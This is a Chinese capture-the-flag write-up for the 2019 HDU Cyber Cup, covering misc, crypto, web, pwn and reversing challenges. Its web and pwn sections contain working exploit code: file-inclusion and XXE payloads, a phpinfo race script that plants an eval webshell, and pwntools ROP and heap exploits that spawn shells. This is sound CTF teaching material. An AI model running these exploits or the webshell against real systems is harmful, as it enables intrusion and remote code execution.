微彩娛樂赛博杯2019 Write Up_HUC惠仲娱乐

微彩娛樂

赛博杯2019 Write Up

前言

杭电赛博协会出得题,感觉质量还是不错的,难易兼备。以下是此次比赛的Write Up。

MISC

Sign in

扫条形码得到flag。

No Word

snow加密,将文件放入010editor看他的十六进制形式,

0D0A是换行,剩下的将20转0,将09转1,得到的二进制数据,转字符串即可得到flag。

基础社工

题目介绍:大家都用着我们的数字杭电(i.hdu.edu.cn)但是对于其注册者却啥也不知道,所以小y打算去看看注册数字杭电的创始人的邮箱
flag形式为:flag{你找到的电子邮箱}

百度一个IP反查询工具,Whois查询,看看这个IP的备案,

得到flag;

The world

下载得到一张图,猜测是隐写,直接foremost分解,得到四张图,

第一张是可见的,应该没用,剩下来的,按顺序看。
第一份压缩包是加密压缩包,看了一下不是伪加密,于是放入工具进行简单爆破,得到密码abc123,得到文件:
d2abd3fb9d4c93fb064abf81f5fab84
新手村钥匙
第二份文件是一张图,猜测是LSB隐写,密码为上述字符串,测试后发现不是。继续考虑,可能是outguess加密,
outguess -r flag.jpg -t secret.txt -k d2abd3fb9d4c93fb064abf81f5fab84
得到文件
95cca6c50e48e86c468ee329ddc11047

最后一关大门的钥匙
第三份文件是一个mp3文件,猜测是MP3隐写,用MP3Stego解密,即可得到flag

Different_P

hint:PIL是个好东西
下载得到两份一样的文件,试了试盲水印,发现没有用。使用Beyond Compare 4结合后发现

字符这里有点东西。根据题目提示,猜测要将两张图片的所有元素点的灰度拿来作比较,
构造脚本如下

# -*- coding:utf-8 -*-  import base64  from PIL import Image   im = Image.open("f1.png").convert("L")  im2 = Image.open("f2.png").convert("L")  width=im.size[0]  #图片宽  height=im.size[1] #图片高   dd=''  flag1=''  for x in range(0,width):      for y in range(0,height):          data  = im .getpixel((x,y))           data2 = im2.getpixel((x,y))          if(data!=255 or data2!=255):              dd=dd+str(data-data2)    for i in range (int(len(dd)/8)):      word = dd[i*8:(i+1)*8]      word = int(word,2)      flag1 +=chr(int(word))  missing_padding = 4 - len(flag1)%4  if missing_padding:      flag1+= '='*missing_padding   flag = base64.b64decode(flag1)  pic = open('flag.png','wb')  pic.write(flag)  pic.close() 

得到一张图片,但是打不开,看他的十六进制数据发现文件头被改了。改回来后得到一张二维码,扫码得到flag

Crypto

easy_RSA

题目文件是public.pem 和 flag.enc,先用openssl打开.pem文件
openssl rsa -pubin -text -modulus -in public.pem
得到

其中。N=>Modulus,e=>Exponent
没有更多信息与算法了,猜测这个大数可以直接分解,上yafu。随后用rsatool生成.pem文件,再用openssl解密flag.enc,得到字符串
}Y!s04tEP{ygraCl_f
栅栏加方向即可得到flag,
rsatool和openssl的使用参考
https://www.cnblogs.com/Byqiyou/p/9410885.html

川流不息

题目加密脚本和密文
加密脚本

from parameters import a  def stream(init,size):     if len(init) < 5:         return init     result = init[:5]     for index in range(size-5):         mid = (result[index] * a[0]) ^ (result[index + 1] * a[1]) ^ (result[index + 2] * a[2]) ^ (result[index + 3] * a[3]) ^ (result[index+4] * a[4])         result.append(mid)     return result  if __name__ == '__main__':     with open('flag','r') as f:         flag = f.readline().strip()     plain = ''.join(bin(ord(i))[2:].rjust(8,'0') for i in flag)     key = stream([1,0,0,1,1,0,1,0,0,1],len(plain))     cipher = ''     for i in range(len(plain)):         cipher += str(int(plain[i]) ^ key[i])     print cipher 

首先,根据flag前五个字符“flag{”和密文,异或可以得到key的前四十个值,然后爆破得到a

import base64  def stream(init,size):     key=[1,0,0,1,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,1,0,0,0,1,1,1,1,1,0,0,1,1,0,1,0,0]     for i in range(2):         for j in range(2):             for k in range(2):                 for p in range(2):                     for q in range(2):                         a=[i,j,k,p,q]                         result = init[:5]                         for index in range(size-5):                             mid = (result[index] * a[0]) ^ (result[index + 1] * a[1]) ^ (result[index + 2] * a[2]) ^ (result[index + 3] * a[3]) ^ (result[index+4] * a[4])                             result.append(mid)                         if result==key:                             print(a)                             break if __name__ == '__main__':      flag = "flag{"     plain = ''.join(bin(ord(i))[2:].rjust(8,'0') for i in flag)     stream([1,0,0,1,1,0,1,0,0,1],len(plain)) 

得到a=[1, 0, 0, 1, 0]
然后根据加密脚本,获得key。然后key与密文异或得到flag

def stream(init,size):     if len(init) < 5:         return init     result = init[:5]     for index in range(size-5):         mid = (result[index] * a[0]) ^ (result[index + 1] * a[1]) ^ (result[index + 2] * a[2]) ^ (result[index + 3] * a[3]) ^ (result[index+4] * a[4])         result.append(mid)     return result  if __name__ == '__main__':     a=[1, 0, 0, 1, 0]     cipher = '111111000010111011011010011110000100111111010110000000100100110000001100011010111000000100100011100100010111110010101000100100011100000101011001111011101001101000111011000010000000011010000111111000111101011110111010'     flag=''     key = stream([1,0,0,1,1,0,1,0,0,1],len(cipher))     for i in range(len(cipher)):         flag += str(int(cipher[i]) ^ key[i])      for i in range(0,len(flag),8):          print(chr(int(flag[i:i+8],2)),end="") 

WEB

base_1

输入
http://45.76.51.219:8050/?base=bXlmbGFn
得到回显
不能输入bXlmbGFn!
但经过测试,发现被加密后的base64字符串解密时似乎会舍弃密文末尾多余的字符(取余4后多出来的字符),于是这题就不难绕过了,
最终payload:
http://45.76.51.219:8050/?base=bXlmbGFn1
得到flag
truncation
进入网站,f12,发现注释:
进入sorce.php发现源码:

<?php class kind { public static function checkFile(&$page) {         $whitelist = ["source"=>"source.php","aa"=>"aa.php"];          if (! isset($page) || !is_string($page)) {         echo "you can't see it";         return false;         }          if (in_array($page, $whitelist)) {         return true;         }          $_page = mb_substr(         $page,         0,         mb_strpos($page . '?', '?')         );          if (in_array($_page, $whitelist)) {         return true;         }          $_page = urldecode($page);         $_page = mb_substr(         $_page,         0,         mb_strpos($_page . '?', '?')         );         if (in_array($_page, $whitelist)) {         return true;         }         echo "you can't see it";         return false; } }       if (! empty($_REQUEST['file'])         && is_string($_REQUEST['file'])         && kind::checkFile($_REQUEST['file'])     ) {         include $_REQUEST['file'];         exit;     } else {        echo "<h>Look carefully and you will find the answer.</h><br>";     }   ?> 

先进入click.php,发现:flag is not here, and flag in flag.php 得到了flag的位置,那么应该是考任意文件包含漏洞
审计代码得到:
要设定page的值,且内容要在whiteList中
mb_substr($page,0,mb_strpos($page.'?','?'))
表示截取page中?之前的内容 接着对$page进行一次URLdecode之后,再判断一次。最后file的值为一个字符串 且 checkfile返回真值 就能包含文件file
所以最终payload:
http://47.110.227.208:8003/index.php?file=source.php?../../flag.php
得到一个猜密码的界面

<html> <head> <title>猜密码</title> </head> <body> <!--  session_start(); $_SESSION['pwd']=time(); if (isset ($_POST['password'])) {         if ($_POST['pwd'] == $_SESSION['pwd'])                 die('Flag:'.$flag);         else{                 print '<p>猜测错误.</p>';                 $_SESSION['pwd']=time().time();         } } --> <form action="index.php" method="post"> 密码:<input type="text" name="pwd"/> <input type="submit" value="猜密码"/> </form> </body> </html> 

需要post一个赋值了的password和一个和服务器时间的值相同的pwd,脚本如下

import requests import time from bs4 import BeautifulSoup       #html解析器 url="http://47.110.227.208:8003/index.php?file=source.php?../../flag.php"    #目标url  session=requests.session()          #获取一个session对象 response=session.get(url) html=response.text                  #返回的页面 soup=BeautifulSoup(html,'html.parser')  formData={"password":"123","pwd":"int(time.time())"}#构建一个formData,用于传我们的 re2=session.post(url,data=formData)#post过去  if("猜测错误" not  in re2.text):     print(re2.text) 

发现无法获得flag,后来发现pwd赋值为空可以获得flag,可能是$_SESSION['pwd']=time();没有执行成功。

Simple XXE

首先,了解一下XXE,(xml外部实体注入漏洞)
参考文章:https://www.cnblogs.com/cui0x01/p/8823690.html
(然后跟这个文章走2333)
首先f12看到dom.php存在XXE,于是构造XML文本先验证漏洞,
这一步骤将XML内容发送给服务器,当服务器将XML解析完成后,就会依照解析的内容工作,这段XML中SYSTEM "file:///etc/passwd"部分引用了目标服务器(即172.16.12.2)下的/etc/passwd文件,服务器解析XML内容后,会将这一文件内容存入&xxe中,然后将数据返回给恶意访问者。
执行完成上面的操作后,点击GO,右侧将出现此数据包的返回结果,内容如下,返回的数据为服务器上/etc/passwd文件的内容

漏洞验证成功,
于是修改XML中的外部实体为其他协议,根据提示看hint,php://filter/read=convert.base64-encode/resource=hint.php, 在Proxy选项卡的原数据包中粘贴XML内容,点击FORWARD放行请求,返回的结果

解码后得到目录,
于是

解码得到flag

inclusion

进入页面,f12,发现注释 phpinfo.php
然后根据名字,猜测是php文件包含漏洞(利用phpinfo)
参考这篇文章(又是跟着文章走)https://www.cnblogs.com/xiaoqiyue/p/10158702.html
访问http://47.110.227.208:8001/lfi.php?file=/etc/passwd 验证漏洞,

成功。
文章如是说:
先讲一下利用phpinfo上传文件,然后在文件包含的原理:

参考链接:https://github.com/vulhub/vulhub/tree/master/php/inclusion

在给PHP发送POST数据包时,如果数据包里包含文件区块,无论访问的代码中是否有处理文件上传的逻辑,php都会将这个文件保存成一个临时文件(通常是/tmp/php[6个随机字符]),这个临时文件在请求结束后就会被删除,同时,phpinfo页面会将当前请求上下文中所有变量都打印出来。但是文件包含漏洞和phpinfo页面通常是两个页面,理论上我们需要先发送数据包给phpinfo页面,然后从返回页面中匹配出临时文件名,将这个文件名发送给文件包含漏洞页面。

因为在第一个请求结束时,临时文件就会被删除,第二个请求就无法进行包含。

但是这并不代表我们没有办法去利用这点上传恶意文件,只要发送足够多的数据,让页面还未反应过来,就上传我们的恶意文件,然后文件包含:

1)发送包含了webshell的上传数据包给phpinfo,这个数据包的header,get等位置一定要塞满垃圾数据;

2)phpinfo这时会将所有数据都打印出来,其中的垃圾数据会将phpinfo撑得非常大

3)PHP默认缓冲区大小是4096,即PHP每次返回4096个字节给socket连接

4)所以,我们直接操作原生socket,每次读取4096个字节,只要读取到的字符里包含临时文件名,就立即发送第二个数据包

5)此时,第一个数据包的socket连接其实还没有结束,但是PHP还在继续每次输出4096个字节,所以临时文件还未被删除

6)我们可以利用这个时间差,成功包含临时文件,最后getshell
利用脚本

#!/usr/bin/python  import sys import threading import socket  def setup(host, port):     TAG="Security Test"     PAYLOAD="""%s\r <?php file_put_contents('/tmp/g', '<?=eval($_REQUEST[1])?>')?>\r""" % TAG     REQ1_DATA="""-----------------------------7dbff1ded0714\r Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r Content-Type: text/plain\r \r %s -----------------------------7dbff1ded0714--\r""" % PAYLOAD     padding="A" * 5000     REQ1="""POST /phpinfo.php?a="""+padding+""" HTTP/1.1\r Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""\r HTTP_ACCEPT: """ + padding + """\r HTTP_USER_AGENT: """+padding+"""\r HTTP_ACCEPT_LANGUAGE: """+padding+"""\r HTTP_PRAGMA: """+padding+"""\r Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r Content-Length: %s\r Host: %s\r \r %s""" %(len(REQ1_DATA),host,REQ1_DATA)     #modify this to suit the LFI script        LFIREQ="""GET /lfi.php?file=%s HTTP/1.1\r User-Agent: Mozilla/4.0\r Proxy-Connection: Keep-Alive\r Host: %s\r \r \r """     return (REQ1, TAG, LFIREQ)  def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)     s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)          s.connect((host, port))     s2.connect((host, port))      s.send(phpinforeq)     d = ""     while len(d) < offset:         d += s.recv(offset)     try:         i = d.index("[tmp_name] =&gt; ")         fn = d[i+17:i+31]     except ValueError:         return None      s2.send(lfireq % (fn, host))     d = s2.recv(4096)     s.close()     s2.close()      if d.find(tag) != -1:         return fn  counter=0 class ThreadWorker(threading.Thread):     def __init__(self, e, l, m, *args):         threading.Thread.__init__(self)         self.event = e         self.lock =  l         self.maxattempts = m         self.args = args      def run(self):         global counter         while not self.event.is_set():             with self.lock:                 if counter >= self.maxattempts:                     return                 counter+=1              try:                 x = phpInfoLFI(*self.args)                 if self.event.is_set():                     break                                 if x:                     print "\nGot it! Shell created in /tmp/g"                     self.event.set()              except socket.error:                 return   def getOffset(host, port, phpinforeq):     """Gets offset of tmp_name in the php output"""     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)     s.connect((host,port))     s.send(phpinforeq)      d = ""     while True:         i = s.recv(4096)         d+=i                 if i == "":             break         # detect the final chunk         if i.endswith("0\r\n\r\n"):             break     s.close()     i = d.find("[tmp_name] =&gt; ")     if i == -1:         raise ValueError("No php tmp_name in phpinfo output")      print "found %s at %i" % (d[i:i+10],i)     # padded up a bit     return i+256  def main():      print "LFI With PHPInfo()"     print "-=" * 30      if len(sys.argv) < 2:         print "Usage: %s host [port] [threads]" % sys.argv[0]         sys.exit(1)      try:         host = socket.gethostbyname(sys.argv[1])     except socket.error, e:         print "Error with hostname %s: %s" % (sys.argv[1], e)         sys.exit(1)      port=80     try:         port = int(sys.argv[2])     except IndexError:         pass     except ValueError, e:         print "Error with port %d: %s" % (sys.argv[2], e)         sys.exit(1)      poolsz=10     try:         poolsz = int(sys.argv[3])     except IndexError:         pass     except ValueError, e:         print "Error with poolsz %d: %s" % (sys.argv[3], e)         sys.exit(1)      print "Getting initial offset...",       reqphp, tag, reqlfi = setup(host, port)     offset = getOffset(host, port, reqphp)     sys.stdout.flush()      maxattempts = 1000     e = threading.Event()     l = threading.Lock()      print "Spawning worker pool (%d)..." % poolsz     sys.stdout.flush()      tp = []     for i in range(0,poolsz):         tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))      for t in tp:         t.start()     try:         while not e.wait(1):             if e.is_set():                 break             with l:                 sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts))                 sys.stdout.flush()                 if counter >= maxattempts:                     break         print         if e.is_set():             print "Woot!  \m/"         else:             print ":("     except KeyboardInterrupt:         print "\nTelling threads to shutdown..."         e.set()      print "Shuttin' down..."     for t in tp:         t.join()  if __name__=="__main__":     main() 

运行脚本

(表示后来没有上传成功,但似乎有大佬先上传成功了,所以后面的步骤我也能继续做)
先验证是否上传成功

嗯,的确有大佬上传成功了,连文件名也一样,好的,谢谢了。getsheell
于是

flag应该在那个奇怪名字的文件里吧

果然,

拿到flag
这题的关键还是上传有大量垃圾数据的恶意文件吧。(所以哪位大佬上传成功了)

PWN

hardpwn

导入IDA后,发现需要覆盖运行参数(即argv),因为栈溢出很长且可以覆盖到该参数,所以可以考虑直接覆盖

from pwn import * context.log_level = "debug" context.arch = "amd64" elf = ELF("pwn1") sh = 0 lib = 0 def pwn(ip,port,debug):     global sh     global lib     if(debug == 1):         sh = process("./pwn1")     else:            sh = remote(ip,port)     payload = '\x00' * 120 +"aaaa" + "\x00"     sh.send(payload)     sh.interactive() if __name__ == "__main__":     pwn("47.110.227.208",10001,0) 

stackpwn

导入IDA后,发现没有puts、write等,只有read且有溢出,那么这道题就是典型的考察ret2dlresolve,用ctf-wiki的脚本改一下就可以拿到shell了
利用roputils简化攻击

from roputils import * from pwn import process from pwn import gdb from pwn import context from pwn import remote   #r = process('./pwn3') r = remote("47.110.227.208",10003) context.log_level = 'debug' rop = ROP('./pwn3') offset = 60 bss_base = 0x804a000 + 0x800 buf = rop.fill(offset) buf += rop.call('read', 0, bss_base, 100) buf += rop.dl_resolve_call(bss_base + 20, bss_base) r.send(buf) buf = rop.string('/bin/sh') buf += rop.fill(20, buf) buf += rop.dl_resolve_data(bss_base + 20, 'system') buf += rop.fill(100, buf) r.send(buf) r.interactive() 

floatpwn

这题考察了确定浮点寄存器通过movss写入内存时的数值
方法:只能人工二分法一次一次去尝试,然后发现小数点后45位之前可以忽略不计,真正开始有意义的数值在小数点后45位开始。然后求出对应的n使得写回内存时是我想要的数值,从而构造ROP链。但是想构造ROP链之前需要实现无限写,所以输入size时,可以考虑输入负数,实现无符号整数溢出,从而无限写。因为控制写入数据位置的i变量位于栈空间底部,所以要使得写到i里的数据为10到12即可,因为可以考虑直接略过ebp,直接修改rip。

from pwn import * context.log_level = "debug" context.arch = "amd64" elf = ELF("pwn2") sh = 0 lib = 0 def inputFloat(num):     sh.recv()     sh.send(num)     sh.recv()     sh.sendline() def inputRop(num):     num = str(num)     num = num.rjust(45,"0")     num = num.ljust(0x62,"0")     inputFloat("0." + num)     inputFloat("0")  def pwn(ip,port,debug):     global sh     global lib     if(debug == 1):         sh = process("./pwn2")         lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")     else:         sh = remote(ip,port)         lib = ELF("libc6_2.27-3ubuntu1_amd64.so")     #puts 5879714 0x400640     #pop_rdi 5881041 0x4009f3     #__libc_start_main_got 8822026 0x601038     #main 5880847 0x400969     #start 5879938 0x4006E0     #call vul 5880867 0x400977     #vul 5880653 0x4008DE     #read 5879781 0x400670     #pop_rsi_r15_ret 5881038 0x4009f1     #read_got 8822014 0x601030     #binsh 8822106 0x601071     sh.recv()     sh.sendline("-1.9999")     for i in range(0,13):         inputFloat("111")     inputFloat("13")     inputFloat("13")     inputFloat("0." + "0" * 43 + "23")#0x11     inputFloat("0." + "0" * 43 + "23")#fake      #rip = 0x4009f3     #pop_rdi_ret     inputRop(5881041)      #__libc_start_main got     inputRop(8822026)      #puts_plt     inputRop(5879714)      #pop_rdi_ret     inputRop(5881041)     inputRop(0)      #pop_rsi_r15_ret     inputRop(5881038)     inputRop(8822106)     inputRop(0)      #read_plt     inputRop(5879781)      #pop_rdi_ret     inputRop(5881041)     inputRop(0)      #pop_rsi_r15_ret     inputRop(5881038)     inputRop(8822014)     inputRop(0)      #read_plt     inputRop(5879781)      #pop_rdi_ret     inputRop(5881041)     inputRop(8822106)      #read_plt     inputRop(5879781)      #input()     sh.recvuntil("plz input your float:")     sh.sendline("0")     sh.recvuntil("do you want to continue?(y/n)")     sh.send("n")      __libc_start_main = u64(sh.recvuntil("\x7f")[-6:].ljust(8,"\x00"))     libc = __libc_start_main - lib.symbols['__libc_start_main']     system = libc + lib.symbols['system']     binsh = libc + lib.search("/bin/sh\x00").next()     sh.sendline("/bin/sh\x00")     sleep(0.2)     sh.sendline(p64(system))     log.success("__libc_start_main: " + hex(__libc_start_main))     log.success("system: " + hex(system))     log.success("binsh: " + hex(binsh))     log.success("libc: " + hex(libc))     sh.interactive() if __name__ == "__main__":     pwn("47.110.227.208",10002,0) 

Babytcache

checksec 可以看到程序没有开PIE,同时bss中存放了_IO_2_1_stdout_的地址,并且libc2.27有double free,所以思路就很明确了.有了double free就可以malloc 2 everywhere,所以这样一的难点在于如何leak libc,通过double free,可以让fd指向_IO_2_1stdout,从而malloc 2 _IO_2_1stdout,从而修改write_base来leak libc,之后再double free去修改free_hook为system,去free一个/bin/sh就可以了

from pwn import * libc=ELF('./libc.so') sh=remote("47.110.227.208",10006)  def add(size,content):     sh.sendline('1')     sh.recvuntil('input your size:')     sh.sendline(str(size))     sh.recvuntil('input your message:')     sh.send(content)     sh.recvuntil('Done!\n')  def add2(size,content):     sh.sendline('1')     sh.recvuntil('input your size:')     sh.sendline(str(size))     sh.recvuntil('input your message:')     sh.send(content)     #sh.recvuntil('Done!\n')  def delete(index):     sh.sendline('2')     sh.recvuntil('input the index: ')     sh.sendline(str(index))  def main():     add(0x100,'a\n')     add(0x100,'a\n')     add(0x100,'a\n')     delete(0)     delete(0)     add(0x100,p64(0x0000000000602020)+'\n')     add(0x100,p64(0x0000000000602020)+'\n')     add(0x100,'\n')      add2(0x100,p64(0xfbad1880)+p64(0x0)*3+'\x20\n')     libc_base=u64(sh.recv(6)+'\x00\x00')-0x3eb780     print "libc_base -> " + hex(libc_base)     free_hook=libc_base+libc.symbols['__free_hook']     system=libc_base+libc.symbols['system']     sh.recvuntil('Done!\n')      add(0x10,'/bin/sh\x00\n') # index 7     add(0x20,'\n') # index 8     delete(8)     delete(8)     add(0x20,p64(free_hook)+'\n')     add(0x20,p64(free_hook)+'\n')     add(0x20,p64(system)+'\n')     delete(7)      sh.interactive() if __name__ == '__main__':     main() 

codepwn

通过逆向可以发现程序将flag存入了内存中,并且我们可以选择flag对应的下标进行对比,可是4字节的shellcode有着限制,并且v5是call shellcode之后的返回值,那么就必须在shellcode中对rax进行赋值操作,可以观察到r9寄存器的大小是跟printf出来的字节数相关,那么就可以通过push r9,pop rax,ret,三个操作来对rax赋值,进而根据程序最后的判断来确认我们猜测的flag对应下标的那个字母是否正确,接下来就是爆破就完事了

from pwn import *   context.log_level='CRITICAL'   def flag_index(index):       sh.sendline(str(index))     def code(code):       sh.send(code)     def name(size,content):       sh.recvuntil('tell me your name size:\n')       sh.sendline(str(size))       sh.recvuntil('input your name:\n')       sh.sendline(content)     flag=open('./pwn4_flag','a+')     try:       for index in range(32):           for i in range(0x1,0x7f):               sh=remote('47.110.227.208',10004)               #sh=process('./pwn4')               sh.recvuntil('this is my gift for you, take it!\n')               flag_index(index)               sh.recvuntil('input your code:\n')               code('AQX\xC3')               padding='a'.ljust(i,'a')               name(0x100,padding)               sh.recvuntil('Hello are you ready? '+padding+'\n')               sh.sendline()               info = sh.recv()               if((info).find('bye!') != -1):                   print  chr(i+0x16)                   flag.write(chr(i+0x16))                   sh.close()                   break               else:                   sh.close()   except KeyboardInterrupt:       flag.close()       exit(0)   except:       flag.close()       sh.close() 

RE

Secret

(emmm这一题偷懒了),
首先分析主函数
里面有两个check函数。进入checktime()函数,关键代码是这里,

*(&v5 + i) = rand();   if ( 14766 * v11 + 18242 * v10 + 4657 * v9 + 22453 * v8 + 7236 * v7 + 28554 * v6 + 25606 * v5 + 12289 * v12 == 12977737     && 27429 * v11 + 8015 * v10 + 16511 * v9 + 17180 * v8 + 27141 * v7 + 31813 * v6 + 7412 * v5 + 18249 * v12 == 15081473     && 2846 * v11 + 28353 * v10 + 19864 * v9 + 27377 * v8 + 9006 * v7 + 13657 * v6 + 19099 * v5 + 25835 * v12 == 13554960     && 1078 * v11 + 5007 * v10 + 6568 * v9 + 23034 * v8 + 10150 * v7 + 22949 * v6 + 32646 * v5 + 15255 * v12 == 11284005     && 8010 * v11 + 15430 * v10 + 6657 * v9 + 1009 * v8 + 25691 * v7 + 15960 * v6 + 19493 * v5 + 29491 * v12 == 10759932     && 4605 * v11 + 14468 * v10 + 5017 * v9 + 12805 * v8 + 22973 * v7 + 30584 * v6 + 12620 * v5 + 32085 * v12 == 12085266     && 7478 * v11 + 6524 * v10 + 25994 * v9 + 16215 * v8 + 12864 * v7 + 20574 * v6 + 8882 * v5 + 14794 * v12 == 11323393     && 15263 * v11 + 8821 * v10 + 25489 * v9 + 9598 * v8 + 26847 * v7 + 5175 * v6 + 6515 * v5 + 27411 * v12 == 11677607 )   { 

一共8位字符,猜测前5位为flag{然后解个方程(也可以直接遍历后三个字符的所有可能,找到符合判断条件的)
得到 flag{Th3
然后来到关键的check函数,看到这里,

while ( 1 )   {     for ( j = 0; !v12[j]; ++j )       ;     if ( j >= v11 )       break;     v9 = 0;     while ( j < v11 )     {       v1 = (v9 << 8) + v12[j];       v12[j] = v1 / 58;       v9 = v1 % 58;       ++j;     }     v2 = v5++;     s[v2] = v9;   } 

再加上用来取值的table 123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxy
意识到这是可能是个改变密码表的base58编码变形,于是偷懒,百度找了一个base58的编码解码脚本,改变密码表,

<?php  $encode = "fQcoNZxMvNxAVW7UJh5vQNyyuaphLAGo8g"; echo "\n".$encode;  $decode = base58_decode($encode); echo "\n".$decode;  function base58_encode($string) {     $alphabet = '123456789abcdefghijkmnopqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ';     $base = strlen($alphabet);      if (is_string($string) === false || !strlen($string)) {         return false;     }      $bytes = array_values(unpack('C*', $string));     $decimal = $bytes[0];     for ($i = 1, $l = count($bytes); $i < $l; ++$i) {         $decimal = bcmul($decimal, 256);         $decimal = bcadd($decimal, $bytes[$i]);     }      $output = '';     while ($decimal >= $base) {         $div = bcdiv($decimal, $base, 0);         $mod = bcmod($decimal, $base);         $output .= $alphabet[$mod];         $decimal = $div;     }     if ($decimal > 0) {         $output .= $alphabet[$decimal];     }     $output = strrev($output);      return (string) $output; }  function base58_decode($base58) {     $alphabet = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz';     $base = strlen($alphabet);      if (is_string($base58) === false || !strlen($base58)) {         return false;     }     $indexes = array_flip(str_split($alphabet));     $chars = str_split($base58);     foreach ($chars as $char) {         if (isset($indexes[$char]) === false) {             return false;         }     }     $decimal = $indexes[$chars[0]];     for ($i = 1, $l = count($chars); $i < $l; ++$i) {         $decimal = bcmul($decimal, $base);         $decimal = bcadd($decimal, $indexes[$chars[$i]]);     }     $output = '';     while ($decimal > 0) {         $byte = bcmod($decimal, 256);         $output = pack('C', $byte).$output;         $decimal = bcdiv($decimal, 256, 0);     }     return $output; } 

解码得到
sEcondBe5tTime1s_n0w}
flag到手
后来发现,拿这程序去运行,只要flag的后面一半,也能过,所以一开始其实是忽略了这个check time()函数。。。